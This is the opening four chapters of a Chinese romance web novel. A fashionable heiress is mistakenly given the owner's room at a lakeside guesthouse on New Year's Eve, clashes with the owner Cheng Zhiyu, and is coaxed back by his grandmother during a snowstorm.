《别对她心动》
1. Chapter 1
除夕当天。
伙计何闯裹着厚棉袄,趴在前台桌子上,百无聊赖。他抓着骰子晃悠,打了个哈欠,小声抱怨道:“这人怎么还不来?”
他急着回家吃团圆饭呢。
转了个身,见一辆商务车在石门口缓缓停下,前面那人下车,忙拉开车门,一双踩着马丁靴的长腿迈出。
何闯打起精神坐直,总觉得有地方不对劲。
他没细想,对来人说道:“你好,是办理入住对吧?”
男人让出一道,露出身后那双马丁靴,她身材高挑,短发乖张,肤色雪白透亮,不加粉饰,巴掌的的脸一半藏在名牌墨镜下边,一半掖在毛领里,就露出一张樱桃红的唇。
美得极具冲击力,别具一格。
像一滴深红散在满盆清水里,顷刻之间,就再也无法忽视她的存在。
何闯愣住,脸上慌张,总觉得这张墨镜下有一双明艳的眼睛,正在盯着他。
而同时,他也记起来究竟什么地方不对劲。
没有房间了。
仅剩的一间房还漏水。
他焦灼地滚动鼠标,真的死到临头了,程哥走的那天就催促他找师傅上门修理,他一直觉得事小,一直拖着,等到今天还没办好。
何闯心虚地抬头,“稍等一下。”
“我帮您把箱子拿下来。”司机看了眼怀里的手机,同危涞说。
“嗯。”她微微颔首。
眼神落在那一小碟牛奶糖上,很朴素的包装,何闯急着介绍:“这是高原牛产的奶做的奶糖,您尝尝,很好吃的。”
“不用了。”她问道:“我什么时候能办理入住?”
何闯沉默两秒,“您稍等。”
一来,他知道周围的酒店全部满房或临近年关时就停止营业了。二来,如果被程知聿发现因为他的失误导致客人没有入住,他绝对、绝对会被开除吧。。。
他纠结,可偏偏只剩那一间空房。
偏偏漏水。
偏偏今天除夕夜没人修理......
这buff叠满了呀。
客人已经到店,是老实等死,还是她不问我不说,她发现,我惊讶,这个问题,何闯需要好好思考。
“我知道小妮发烧了!我不是说了马上回来,你别催我行不行!”男人的声音隔着一道屏障传进来,危涞歪了墨镜,侧头看向那道身影。
他看起来不过三四十岁,头发却已经白了大数。
对面似乎还在催促,“到底是小妮重要还是你的钱重要!大过年要不是为了女儿我真的不想和你吵,要是今天小妮出了事我和你没完!”
“我不赚钱怎么给小妮治病!”
何闯心一硬,递出一把钥匙,“三楼的最后一间房。”
放在平时他是绝对不会给出这把钥匙的,可是,小妮......
溪江大概没有人不认识这个小女孩。
从几岁时就患上了脑膜炎,早几个月慈善机构还组织过一场募捐,听说情况并没有好转反倒朝更坏的方向发展。
听说家里为了小妮花光了所有的积蓄。
危涞的视线在何闯身上停了数秒,抬手收过那把钥匙。
“有红包没有?”
何闯半晌才反应过来,从抽屉里摸出一个纸袋子。
“郑师傅。”男人听见她喊,慌忙闭了手机。
“欸,我来了!”
郑师傅忙把箱子搬出来,一边同危涞道歉,“不好意思,危小姐。”
危涞默不作声,盯着他的白发,然后别开眼神:“你有事就先走吧。”
他一怔,表情慌乱,瞬间不知所措。
危涞朝里面招招手,何闯迟疑地指了指自己,“喊我?”
得到肯定的答复,他再三犹豫,上前,“我的东西他会帮我搬上去,你别耽误了正事。”
郑毅眼眶热了,捏着手里厚厚的红包,鞠躬感谢。
“你没问题吧?”危涞问。
何闯想:危小姐真是好人,不就是搬几个箱子吗,这有什么的......
直到他看见车边的几个箱子。
何闯盯着那几个半人高的箱子发愣,又怀疑地指指自己瘦弱的躯干,“我吗?”
一双布满厚茧滚烫的手紧紧握了上来,他热泪盈眶,激动地说:“谢谢你了,小兄弟。”
何闯好面子,总不能在这个时候说不行吧,于是大手一挥,“包在我身上了!”
黑色的商务车缓缓驶离。
何闯费劲半条命帮危涞把行李搬上楼,他大口大口喘着气,刚抬头却撞进屋子里黑压压的一片,就像无数双眼睛盯着他,他脚下一软,同危涞说:“我、我先下去了,祝您入住愉快!”
心里祈祷老板出差的时间能再久些,等修理师傅开始上班,他再找理由要危小姐搬出去。
危涞打开门,奢牌包包被她随意丢弃在一旁,她环视一圈,不知道是不是因为尾间的关系,房间整体很简单,并不像他们网站上那样舒心,露台倒是很大,倚着栏杆向外看,一片漆黑,远处偶尔闪过几点银光,是流动的湖水。
只是,她把墨镜摘下,红肿的眼皮暴露在冷空气中,酸涩困倦。
明天再换房间吧。
她把暖气打足,裹紧毯子蜷缩在小沙发里,自顾自地燃起烟,“咔哒”,猩红的火光在指间闪烁,藏着许多难以言说的缄默。
危涞记起那个为了女儿熬白头发的男人,和他布满红血丝的双眼,他的身影和记忆中的那道重合。
她侧头靠在膝盖上,漂亮的眼睛看向窗外那片幽深的林子,纤细的手指夹着夹着细长的女士香烟,只是静静地靠在烟灰缸边,等待烟草发红发热,又落下成灰。
装饰用的戒指在灯下闪着光,指尖抖动,烟灰“簌簌”落下。
加上烟灰缸里的。
显然,她早已经把“再也不抽烟”的誓言甩在离开京市的飞机上。
燃尽最后一段,漂亮的手指把火光熄灭。
“滋滋滋......”
手下触感却不是玻璃制品,危涞低头,皱眉的样子间窥见几丝窘迫。
精美的书封被她烫出个破窟窿,黑焦的边缘像怪物张开的血盆大口,狰狞恐怖。
她翻开封面,书页里密密麻麻的专业性文字只觉得头大,细看,文字下边居然还被人细心做上标记。
危涞扯了扯唇角,字挺好看的,可惜她看不懂。
无聊合上,盯着封面上烧焦的痕迹良久。
程知聿到家的时候,小云儿正趴在桌上追剧,左一个哈欠连天,右一个哈欠连着地。
被突然返航的老板抓包,她自认倒霉,手忙脚乱地关掉视频,心虚站起来,“老板,你怎么回来了?”
大厅里足够温暖,程知聿把外套脱了,穿着柔软的毛织打底,露出的脖颈紧实,小麦色的皮肤像斯文人的伪装。
这衣服,穿得好的是帅哥,穿得不好的是男的。
显而易见,程知聿属于帅哥那一挂。
几天的连轴转给他披上一层灰蒙蒙的滤镜,头发乱得没有型儿,疲惫的眼底泛出青灰色,连颌下豆都冒出细细的胡茬,但不得不承认,这男人依旧帅得离谱,鼻梁高挺,薄唇含笑,宽肩窄腰,连手背的青筋都性感迷人。
他翻看着值班表,“何闯呢。”
小云儿脸红红的,不敢直视程知聿,觉得他穿这件衣服像极了自己刚看的偶像剧男主,一样的帅,一样的好身材。
她低着头,“何闯和我换班了。”
程
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知聿低头,衣袖被他挽起,露出的肌肉线条流畅有力,精致的腕表卡在突出的骨头上。此时已经过了零点,街上响起“劈里啪啦”的爆竹声。
程知聿不知道从哪摸出一个红包,手指抵着推给小云儿,“新年快乐。”
小云儿受宠若惊,局促地接过红包,呢喃道:“谢谢老板。”
她摸着厚度,悄悄估摸,狂喜,分量还不少呢!
程知聿“嗯”了声,向后院走去。
老人家的房间早已经闭了灯,他悄悄推开门,把一叠厚厚的红包放在奶奶枕头下,又替她掖紧被角。
然后转身离开。
这一觉危涞睡得格外熟。
梦里脸上团着一团雾的女人牵起她小小的手,捧在自己温暖的手心里,语气轻柔、怜爱,“小涞新年快乐。”
“今天爸爸妈妈给你准备了好多新年礼物,跟妈妈下楼拆礼物吧。”
靠在门框边上的男人手里端着杯热牛奶,慈爱地笑,“小懒虫,快点起床。”
危涞攥着被角,眼尾沁出湿意,顺着脸颊藏进黑发里。
小危涞鼓着肉乎乎的脸蛋,揉揉惺忪的眼睛。牵着父母亲宽大的手乖乖下楼。
因为她没有穿拖鞋的习惯,即使有暖气,爸爸还是让人把家里的地板铺满柔软的地毯,所以就算是在京市最寒冷的冬天里,她也觉得暖呼呼的。
“哇!好多礼物!”危涞拍起小手掌,欢呼雀跃。
她蹦跶着扑进礼物堆里,父母在身后宠溺地笑,“我们小涞是世界上最幸福的公主。”
危涞脸蛋红扑扑的,举起礼物堆里隐秘的宝盒,“我找到宝藏啦!”
她欣喜若狂,小肉手挥舞着打开,肉嘟嘟的小脸上表情疑惑,“咦?怎么什么都没有?”
“爸爸妈妈!”她气鼓鼓,叉着腰质问,手里的魔盒却掉在光秃的地板上,零件支离破碎。
黑葡萄似的大眼睛顷刻装满泪水,满是恐惧,她咬着手指甲,步步后退。
妈妈,妈妈变成别的女人了......
父亲牵着陌生女人的手,脸上是扭曲的笑容,他们向危涞一步步逼近,女人的高跟鞋踩在光滑的瓷砖上,“咔哒”、“咔哒”。
她明明穿的是妈妈的衣服,却逼得危涞步步退后,她说呀,轻柔的语气是魔鬼的狂欢,“小涞有新妈妈了。”
她笑得虚伪,想要抱她的手变成无数狰狞恐怖的荆棘枝条,“咔、咔”。
“让妈妈抱抱你。”
危涞捏着裙摆颤抖,白嫩的脸蛋泪水横流,“呜呜...你们不是,不是我的爸爸妈妈......”
“给我走开!”她抓起怪诞的礼物盒,一个接一个砸向怪物。
男人长出尖利牙齿,刺破下唇,鲜血直流,“小涞睡傻了吗?”
“我就是爸爸呀。”
房间里,危涞的泪打湿眼睫,窗户外一朵烟花冲上云霄,在天边放出绚烂的火光,她捂住耳朵,把自己缩在被子里,小声抽泣。
程知聿站在房间前,房门并未落锁,他猜想,应该是奶奶打扫时忘了,他舒展眉心,很低的叹息。
真是年纪大了,记性越来越差。
推门而入,燥热的空气席卷而来,几乎让人喘不来气。
房间乱得像正在重新装修,四五个大开的箱子霸道地占领了他的空间,连落脚的地方都没有。
行李箱里的女士衣物、化妆品杂乱无章,像不情不愿地被主人拉来逃荒。
两只软拖,一只还算老实地留在床边。
而另一只,被远远甩在房门口。
“......”他的视线扫过床榻时,薄唇绷成一条线。
一件,黑色的,女士胸衣。
正大摇大摆地躺在他的床上。
2. Chapter 2
程知聿拧眉,看见远处书桌的烟灰缸里盛满烟头。
“康贻来过吗?”他空出一只手。
对方也很快回复,“来过。”不过给奶奶送了点东西,很快就走了。
他皱眉,抬手叩在门上,闷闷两声,“出来。”
没有反应,他作势扯开被角,表情不悦,年纪不大还学会抽烟了?离家出走把他这儿当避难所?
下一秒,雪白的肌肤和小猫似的圆眼睛在眼前一闪而过,程知聿心跳一紧,瞳孔收缩,还没来得及作出反应。
灼烧的刺痛感就结结实实甩在脸上,他被打得偏头,站在昏暗的灯光下,明明只是一席简单的黑衣黑裤,却又不可忽视的凸显出他宽厚的臂膀和劲瘦的腰身。
垂在身旁的小臂紧了又紧,他紧抿着唇,脸上是不多见的茫然情绪。
危涞扯着被子,这一巴掌扇得她手心通红,还挂着泪珠的杏眼惊恐又愤怒。
见这登徒子直直地站在床边还不知道悔改,葱白的手指再度扬起,瞪着圆目扇去。
程知聿拧紧眉头,触及女人裸露在外的大片肌肤,眸色闪躲,单手擒住嚣张的腕段,手底的滑腻让他眉心更深,“你是谁。”
仿佛危涞才是外来者。
她恨恨咬唇。
死流氓!大半夜跑到主人房间问主人是谁?他以为自己很幽默吗?!
她要报警!
危涞眼底还残余着没来得及收起的泪花,长长的睫毛耷拉在眼尾,晶莹、惹人怜爱,她玻璃珠似的瞳孔闪闪发光。让眼前的陌生男人联想到街旁那只脾气不太好的懒猫,被好心人填饱肚子就扬起尾巴走人,连一个多余的撒娇都不愿意给。
“色狼!流氓!死变态!”她瞥见男人神情,深觉冒犯,情绪终于爆发,松开护着的被褥,爪子又一次出击。
被子散落的那一秒,程知聿暗暗松了口气,好在她穿了衣服。
他没兴趣争论究竟是自己变态,还是裹挟着大箱子闯入他的领地,私人物品到处丢的,躺在自己床上呼呼大睡的女人更加变态。
连续一周的连轴转让他只想躺上床好好睡一觉。
他抓住另一只不听话的手,双手交叠,把她牢牢钉在床上。
疲倦的眼睛盯着她,重复了一遍自己的问题。
“你怎么进来的。”
危涞气得咬牙,她正经人,正经渠道,走路进来的!
手被他抓在头顶,危涞抬腿攻击要害,却被男人连手带脚捆在被子里面,“放开我!我要报警!”她闷闷的声音从被子里传来。
新年夜报警?程知聿又不傻。
他还要不要开门做生意。
他半跪在床边,嗓音严肃:“听着。”
听个屁!危涞深吸一口气,放声尖叫,刚发出个“啊”的音,嘴巴的位置就被人隔着被子精准捂上,听起来像幼猫无力地呜咽。
程知聿暗暗叹口气,继续说道:“我叫程知聿,是这家民宿的老板。”
老板?危涞冷哼。
他说是就是了?再说了,难道老板就能随便进人房间吗!
“这是我的房间。”
“包裹”里安静下来,想到那本精致的书里事无巨细的笔记和房间角落里的男士用品,她反抗的动静越来越小。
在谈判桌上,沉默代表着退让,一切都有商讨的余地。
程知聿松开手,同她好声协商。
却没想到女人远比他想象的没有信用,手一松,另一个巴掌又向他袭来。
“这明明是我的房间!”
她表情愤怒,显然是不相信他说的话。
程知聿再度摁住那双纤细的手腕,没能让她得逞,他盯着她红扑扑的漂亮脸蛋,觉得女人不甘、气愤的模样有些可笑。
拿出手机,“你上来一下。”
挂断电话,小云儿紧张地抓起手机上楼。“什么事,老……”
后一个字卡在喉咙间,怎么都发不出声音。
她瞥见房间里男上女下的姿势,慌张扭头,老板的房间里居然有女人!
老板的房间里居然有女人!
小云儿不敢相信,探出头看了一眼又一眼。
危涞涨红了脸,恨不得将眼前这个可恶的男人碎尸万段。
他还要不要脸?真以为每个人都和他一样没脸没皮吗!
她恨恨挣脱,揉着手腕上的红印。
“谁办的入住?”程知聿问。
小云儿浑身发烫,低头,她上班之后就没有客人来了,“何闯。”
程知聿沉默几秒,拨通电话,语气冷而冽,言简意赅,“解释。”
怪异的宁静。
何闯硬着头皮把事情经过讲明。
程知聿挂了电话,转头对小云儿说:“你叫人把储物间收拾出来。”
小云儿抓着手指,撇嘴,让老板睡储物间,何闯等着完蛋吧。
他就这么想走?就算知道原委,危涞也不想这么轻易放过他。
一记响亮的耳光响彻室内,小云儿身体僵直,贴着墙根不敢移动,缓慢投去视线,她幻听了吗?
这是一个小时之内,程知聿被扇的第二个巴掌。
还是在自己的员工面前。
他的唇绷得很紧,脸上是薄薄的怒色,再好的修养也在这一刻破碎,压低声音,“你有病是不是?”
危涞只当没听见,朝门口吹了个口哨,“帮忙帮我把鞋丢过来。”
小云儿盯着老板的表情,犹豫,最终还是听话把鞋递了过去。
“Thankyou。”危涞迈开长腿,小腿纤细,线条柔美,对她粲然一笑。
小云儿被她的笑晃了一瞬,脸微微红了。
趿上拖鞋,她把翻出来的东西一股脑全部塞进行李箱,扬手就把那只钥匙甩给程知聿,掉在地上,一骨碌滚进床底,阴阳怪气道:“祝程老板新的一年生意兴隆。”
去他的生意兴隆,她转头翻了几个大大的白眼,祝他赔钱赔到脚抽筋。
天边破晓,危涞卷着外套站在街头打电话,身旁几个硕大的行李箱格外显眼。
小云儿站在一旁,想劝她留下来,毕竟老板把房费全免了,免费的房子不住白不住。
而且这个时间点在他们这儿根本找不到房子。
但是换位思考,如果是自己独自一人在外被陌生人闯入房间,不管给多少不补偿她都是不接受的。谁又会拿自己的安全开玩笑。
铃声响了一遍又一遍,危涞坚持不懈,终于在最后一秒接通,“谁他妈闲的蛋疼?!”
“我没有蛋。”她咬着烟,含糊不清。
“危小姐?”司机顿了很久,终于反应过来是她。
危涞被人接走的时候,正好开始飘雪。小云儿盯着越来越远的车影子,扯紧衣服,打了个哆嗦,左右脑互博。
虽然危小姐打了老板,但是她人挺好的,走的时候还塞给自己满满一袋的大牌护肤品。
可老板也很好,小云儿摸着口袋里厚厚的红包,思来想去,还是判断不出谁对谁错。
如果硬要说的话,自作聪明的何闯是这个世界上最大的罪人。
危涞缩在后排,白净的脸藏在帽檐下,睫毛长长的,动也不动地转向窗外。
地方偏僻,从程知聿的民宿搬出来后居然找不到任何一家合她心意的酒店。
火红的纸屑沾着雪水牢牢扒在车窗上。
她望着漫天白雪,和雪地上孩童学企鹅走路时留下的脚印,垂眼。
反正她也不是一定要留在这个鬼地方。
“各位听众早上好,今天是农历正月初一,受寒潮天气影响,我市出现持续大雪,伴有阵风7-8级,地面湿滑,请市民朋友们减少出行,做好防护。瑞雪兆丰年,祝大家新年快乐。”
温柔女声伴随着舒缓的音乐从车载电台传出,危涞投去目光,隐隐不安。
右眼皮跳个不停。
果然,下一秒。
她就收到了航司的取消短信。
看完冗长的道歉信,她没忍住骂了声,烦躁地闭了眼。
整个世
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界都在和她作对。
司机刚才还打着哈欠,心不在焉地开车,听见后座动静,坐直了些,他小心地问:“还去机场吗?”
从镇里去机场驱车近三个小时,路况不好,现在他们卡在二分之一处,不上不下。
危涞也没了主意,她动了动唇,眼瞧着马路上的雪堆起来,踌躇不定。
她无处可去。
雪越下越大。
程知聿冲了个澡,换上干净衣服。
大厅空荡荡的,连着那几个碍眼的箱子一起消失不见。
像是知道他在想什么,小云儿从旁边窜出,“危小姐走了。”
走了就走了,被她甩过的地方还隐隐作痛,程知聿头疼,和他说什么。
“真可怜。”小云儿抚摸着手里这颗无辜的苹果,“冰天雪地,孤身一人,无依无靠。”
程知聿瞥了眼她手上的红苹果,又淡淡瞟了一眼小云儿。
说得太夸张了。
“怎么大过年的说丧气话呀?”一道苍老,被岁月浸透了的声音响起。
两人纷纷转头,小云儿嘟嘟嘴巴,“奶奶新年好。”
“奶奶。”程知聿叫了声。
林秀禾刚上完香,身上卷着香火气息。
她笑眯眯的,兜里揣着红包,看到程知聿穿的单薄,轻骂道:“穿这么点,生起病来有你受的!”
见他头发丝还在滴水,林秀禾吐了句乡话,“不要命了咯。”她嫌弃地推开孙子,“还不快去吹干!”
眼见着老板终于消失在眼前,小云儿装模做样地叹气,“唉——”
果然,林奶奶就是比老板有人情味,她当即拍板,要孙子把这位孤苦伶仃的危小姐请回来。
“不去。”程知聿拒绝,“她自己走的。”
“不管是不是她要走的呀,这么大的雪天把人家留在外面算什么意思?”她语重心长在程知聿耳边念叨了数个小时,“奶奶教过你,男人要学会低头。”
“承认自己的错误又不丢脸。”
“......”他错哪了?
要不是何闯不上心,康贻离家出走,他们日日在自己耳边念叨,一个个急得眼泪翻涌,他会冲动得去掀人家被子?
程知聿抿唇,把视线投向旁边看戏的小云儿,她一副“不关我事”的模样,心虚得明显。
危涞接到电话的时候踩着雪站在车外抽烟。
她一向没有先开口说话的习惯,对面也不说话,两人就这样沉默。
直到旁边人不停催促,男人的声音才缓慢响起,“我是程知聿。”
她换了个动作,撩开遮视线的头发,长长的披风流苏垂在腰间,故意说:“不认识。”
林秀禾拍拍孙子的手臂,哑声道:“开免提。”
“说话呀!”见他这副冷冰冰的模样,她接着催促。
危涞食指抖烟,等得烦,“没事挂了,办入住呢。”
程知聿听出她在撒谎,话筒风声呼啸,他嘲讽道:“站在雪地里打电话感觉怎么样。”
“比你的破酒店好一万倍。”冷风像刀子一样往脸上刮,她微微红了脸,依旧嘴硬。
他轻嘲地笑:“您不在溪江就行,万一明天上了新闻,某女子冰天雪地露宿街头。可别找到我头上来。”
危涞又羞又恼,两颊染上绯红,精致的眉毛像两根歪歪扭扭的小虫。
眼看两人要掐起来,林秀禾没好气地敲了程知聿一眼,从他手中抢过手机,喜笑颜开,“欸,姑娘你好。”
危涞正在气头上,但对面换了人,她的气也不能对着和自己爷爷差不多大的奶奶撒,硬生生憋在心里,气鼓鼓的,“您说。”
“我是程知聿的奶奶,这件事是我们民宿管理不当,除了员工,他也有错。你看外面风雪大得要把人给掀飞了,你独自一个人在外边也不安全,要不先到我们家休息几天,等天气好了再做打算。”
对方轻柔的话语很快让危涞软下心来,她低着头,忍不住红了眼眶。吸吸鼻子,“但是得让程知聿来接我。”
3. Chapter 3
林秀禾一听她松口,忙不迭地答应。
程知聿听见命令,仰坐在沙发上深呼吸,他才刚奉命修完水管。
喉结滚动,作最后的挣扎,“我不去,和她八字不合。”
林秀禾拍拍他的肩膀,“别说这种话”,扬手递过钥匙,催促道:“快去,回来奶奶给你煮饺子吃。”
程知聿无可奈何,终于是接过钥匙。
司机解手完匆匆赶来,见老板站在车外,脚步更快,他小跑上前刚要开口却又被她打断。
“你回去吧。”危涞说。
司机立刻变了神色,又尴尬又气愤,他不过就是去上了个厕所,难道连厕所都不能上吗?眼中隐隐冒出怨气,大早上的被她一通电话吵醒,陪她折腾这么久,飞机不能起飞也不是他的问题——
刚要发作,见她摇摇手机,“钱转给你了。”
他一怔,掏出手机,看见数额后脸色瞬间回暖,欣喜道:“谢谢您!”
这一趟真是不亏,赚了他大半个月的工资呢!
他留下一句“祝您在溪江玩得愉快”便迫不及待离开,兜里电话响个不停,催着他回家。
危涞看着漫天风雪,路边堆起小山似的花炮尸体,周围的人家张灯结彩,只有她是一个人。她系紧印花围巾,兜里的手机安安静静。
她想,要是程知聿不来接她怎么办?
便利店格外冷清,店员刷着视频趴在柜台上打呼噜。
门口的铃“叮铃”一声,他惊醒,睡眼惺忪,朦胧中看见一个高大的身影带着寒冷的气息走进,“您好,欢迎光临——”
程知聿越过几个货架,终于在角落里找到危涞。
她面前的桌上放着一杯冷透的咖啡,一口没动,表情倦倦的,抓着围巾上的流苏无聊摆弄,深棕色的眼睛看向来人,也不挪屁股,不太高兴的样子,像在谴责他的动作太慢。
四目相对,这个气氛怎么看怎么尴尬。
“走不走?”程知聿见她依旧无动于衷,别开视线。
可对面偏偏是个不知道收敛的,她翘起脚尖踢向自己的箱子。
冒着青筋的大掌一默再默,终究扶上行李箱拉杆,青紫色脉络分明,沿着手背向上深入。指尖圆润,指节修长,危涞斜着多看几眼,他倒是长了一双漂亮的手。
她洋洋得意,这才悠悠放下翘起的二郎腿,勉为其难地起身。她跟在他后边,踩着他的脚印上,见程知聿一手一个箱子,弯了嘴角,心里的憋屈感消失殆尽,讨厌她有什么用,还不是得求她回去,乖乖给她搬行李。
这一局,是她赢了。
程知聿搬第一趟行李时,危涞守在一旁,他没多想,只当她不放心行李。
搬第二趟时,她搓手哈气,依旧站在路边。
等他关上后备箱的门,回头,她还是环胸站在路边,不满,眼里带着打量。
脸小小的,表情很凶。
程知聿很无奈地叹气,终是认命拉开车门,让她如愿,“上车。”
危涞坐下来就犯困。
醒的时候程知聿已经不在了。
“姑娘,醒醒,咱们到啦。”慈祥的女声在耳旁轻响起。
危涞顶着凌乱的短发,睁眼时还有些迷茫,搞不清楚状况似的转向四周。
这是个身材瘦小的老人,头发花白了一半,看起来神采奕奕很有精神的样子。
林秀禾又唤她,“到房间去睡,舒服。”
她这才后知后觉,尴尬地摸了摸嘴边,还好是干爽的。不高兴地抿唇,看向空荡荡的驾驶位。
他就不知道喊她吗?
这应该就是程知聿的奶奶,危涞挡住飘下来的雪,跟着向前走。
昨天夜深,她才发现民宿前的院子里被人栽了花植,藏在塑料膜下。
顿了几秒。
花卉,是冬天珍惜的色彩。
林秀禾背手走在前面,隔了好一会儿,反过头对她笑道:“知聿脾气不好,说话做事有让你的地方我替他道歉。”她温温地笑,眼尾挤出几道纹,危涞看着老人诚恳的表情,很难让人说出“不”字。
前面的身影佝偻,危涞低头,一时间不知道怎么回答,大门处张贴着喜庆的对联,她吸吸鼻子,跟着快步走进去。
“我的房间不能靠两边不能靠楼梯,不能临街我晚上会睡不着。房间要足够大,床垫要软,还要有像你房间那样的大阳台可以看到湖面。”她咬着指甲停顿,“还得有个浴缸。”
她一直都很挑剔。
再说,要不是点评说这环境好,抬头就能望见雪山玉湖,宾至如归,一整个家的感觉,还多次被誉为“年度最佳民宿”,她犯得着放着星级酒店不住来这里吗?
程知聿凉凉抬眼,打破她的幻想,“就剩一间房。”
言下之意,你爱住不住。
危涞咬碎一口银牙,伸手,没好脾气道:“房卡!”
要不是没地方去,他以为自己真的会留在这呢?
“房间在我隔壁。”他交出房卡,眼神没什么情感,再次提醒,“晚上记得锁门。”
还偏偏在他隔壁,危涞有理由怀疑他是故意的,她骂道:“防君子不防小人!”
程知聿姿势未变,随她去骂,懒得同她计较。
危涞气冲冲上楼关门,反锁拉链条。
说什么态度好服务好,都是假的!假的!!
另一边的京市。
朗禄卸下围裙朝伏案书写的老人喊:“爸,吃饭了!”
好半天没人搭理,“爸——”,他被女人喊住,她擦干净手问:“要不…我去叫叔叔吃饭。”
朗禄看她一眼,“我去,你坐着吃饭。”
“不用你们叫。”朗岐山摘下眼镜挂在脖子上,将毛笔架好,从案台起身。身侧的柜子除了奖章证书还特意留出一块来摆放孙女的五颜六色的小玩意儿,拼了一半没结果的拼图,笔触夸张的下棋输了愤怒的老头,还有那些喊不出名字但大受年轻人欢迎的奇怪玩偶。
总之,放在朗岐山的严肃文件旁边,特别违和。
“我都说了这些东西别放您书架上。”朗禄皱眉,一见这堆乱七八糟的东西就想起那个不服管教的女儿。
“改天我叫吴嫂收走。”
“不行。”朗岐山拍桌,掏出一桶方便面,“放在这碍着谁的眼了?”
薛莹见他拿出方便面,面子挂不住。
朗禄给吴阿姨放假回老家过年,这几天都得自己做饭,薛莹好心帮忙,担心他们应对不了。这老人家不领情也就算了,还,还当着自己的面拿出方便面来,这不是明着打她脸吗?
她尴尬地笑,拍拍朗禄的肩膀,叫他别动气,“放在这也不碍事,再说了,多鲜艳。”
“这是她自己家怎么会碍事。”朗岐山打开塑封包装,被朗禄一把拦下,他抢过父亲手里的面,俨然是一幅生气
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的模样,“您这是什么意思?”
朗禄捏紧眉头,母亲走的这些年,爸的脾气越来越古怪,他以前哪是会吃垃圾食品的人?
都是被孙女带的。
家中数代从文,老爷子早年执教,职称评了几个,前些日子颁了荣誉奖刚从一线队伍退下来。从他这一代开始从商,不说版图有多大,总是喊得出名字的,大过年他吃方便面不仅让薛莹难堪,让他难堪,要是传出去更是让人笑话。
“我没什么意思!见着房子空荡荡的难受不行吗!”朗岐山丢下手里的垃圾,塑封袋软绵绵地飘下。
他年纪大了变得更加固执,一辈子站在讲台上的人居然把不住自己的嘴巴,年前聚会时对着自己的亲弟弟翻旧账,净把些陈芝麻烂谷子的事情放到台面上说。
场面当场冷清下来,几个小辈连话也不敢说,这不今年过年匆匆送了礼来,又找着借口离开。
冷清啊冷清。
朗岐山在心里叹气。
早上送走几批来拜访的学生,他才算欣慰,至少还有人记得他这个老太公。只是他们走后,这偌大的房子就剩零星几个人,叫他怎么能不难受?往日里还有孙女陪他解闷,今天大过年的,连个说话的人都没有。
朗岐山没再动那只泡面,“小涞在外边都不知道怎么样,我哪有心情吃。”
“你打电话让她回来!”
朗禄只当没听见,自顾自的坐下,“您要吃就吃,不吃写字看书请自便。薛莹,我们吃饭。”
朗岐山拄着拐杖骂他不孝,薛莹只能讪讪坐下。
饭后,她端来水果低声同朗禄说话,“我给小涞打个电话道歉吧?”
朗禄从屏幕里抬头,好笑地安抚,“你别把我爸说的话放在心上。”
“小涞就是被家里人宠得太过,臭脾气想发就发,出去吃几天苦自己就回来了。”
见薛莹还是一副心有所思的样子,他搂过肩膀,继续说道:“应该道歉的是她。”
“谁应该道歉?”朗岐山突然出现,白花的脑袋出现在二人之间,薛莹吓了一跳,赶快和朗禄拉开距离。
朗禄闭眼叹气,“......”
“你给小涞打电话!”他不依不饶。
危涞这一觉睡到傍晚,窗帘拉得严密放不进一丁点光亮,四处安静无声,这个鬼天气连可以说话的蚊子都没有。
她揉揉肚子,觉得自己饿得能吃下一头牛。
危涞踩着拖鞋踢踏踢踏下楼时正好撞上林秀禾,林秀禾朝她笑,她就呆呆地点头,末了问道:“附近有吃的吗?”
“呦,这个时间了。”林秀禾仔细想,小厨房下了班,估计只有便利店开门了。
可偏偏危涞就是不想吃便利店里干巴巴的东西,捏着手机愁眉苦脸,她决定出门碰碰运气。
“你不嫌弃的话和我们一起吃吧。”林秀禾发出邀请。
危涞犹豫,想想就要拒绝,侧眼瞥见一抹高大的身影靠近,于是眨眨眼睛,欣然同意了。
一碗热腾腾熬成奶白色的鱼汤端上桌,程知聿腰间还系着围裙,妥妥的主夫行头,见危涞舒舒服服地坐在他的位置上,表情一瞬间陷入沉默。
他知道这又是奶奶的主意。
危涞才不管他高不高兴,不高兴最好了。盯着他窄窄的腰,甜甜笑道:“我来陪你吃饭啦,哥哥。”
工业糖精,甜得腻人。
程知聿想。
4. Chapter 4
危涞才不管他怎么想。
她高兴就行了。
恶心人她最有一套,反其道而行之,他越是讨厌她不想看见她,她就非得贴在旁边刷存在感,夹着嗓子喊哥哥,不信程知聿还能吃得下饭。
危涞勾着腿,笑得张扬。
装乖卖巧。
程知聿卸下围裙,默默把椅子挪开些。
危涞就笑得更招摇,小小的脸上装满了小人得志。
她换了个坐姿,腿不小心撞上隔壁的凳子腿,撞在石地板上的声音发闷响,这响声来的极其不凑巧,乍一听像是肚子发出的叫喊声。
危涞的动作顿了下,有些尴尬。
程知聿睨她一眼,表情依旧是淡淡的。
“抓紧吃饭吧妹妹,太吵了,楼上住客要投诉了。”
说话人不觉得,危涞听得脑热。
这声“妹妹”像情人间的昵语。
她表情僵住,变脸就在一瞬间,谁肚子叫,谁跟他哥哥妹妹了,他这么老叫叔叔还差不多。危涞斜他一眼就要开骂,她从来是不顾及面子的,大不了不吃了走人。
目光却见林秀禾端着一盘焦香的椒盐羊排走近。
危涞眼馋极了,喉咙滚了又滚。
吃完再走也没关系吧。
“呵。”有人似笑非笑。
危涞抓紧筷子,忍了又忍,只当这个人不存在,乖乖贴着林秀禾坐下等待开饭。
林秀禾给她盛一碗热汤,这个天气喝下去从喉咙到胃都是暖的,“谢谢”,危涞捧着碗小口喝,睁大眼睛,好鲜!
“好喝吗?”林秀禾见她脸颊红扑扑的,眼下弯出一条条皱纹。
危涞真诚地说:“好喝。”
鲜掉眉毛了。
林秀禾也抿了一口,眉毛都舒展开,“看来阿聿水平没下降。”
被点名的人笑望她,意义不明。
危涞端碗的动作变得僵硬,心里嘀咕几句,却还是没能放下手中滚热的汤。
她哼哧哼哧填饱肚子,乖巧地放下碗筷,“我吃饱啦。”
程知聿掀起眼皮看她,没说话。
林秀禾也喊她,“吃太少了乖乖,再吃点?”
危涞坐得笔直,摇摇头,又说谢谢奶奶。
倒不是因为真的吃不下了,只是她每日有限制,再动筷子就收不住了。
林秀禾问她有没有出行的打算,在他们酒店住的大都是背包客,今天住下了,明天一大早就上山。
她想了想还是摇头,“我不上雪山。”
她想,自己可能过几天就回去了。
程知聿也吃完了,他起身收拾碗筷,听见自己的亲奶奶说道,“你要是想上山或者想去哪都叫阿聿陪你。”
程知聿想也不想拒绝:“......我没时间。”
没人听他说话,林秀禾则亲昵地拍拍危涞的手,“他从小在这长大,哪哪都熟。”
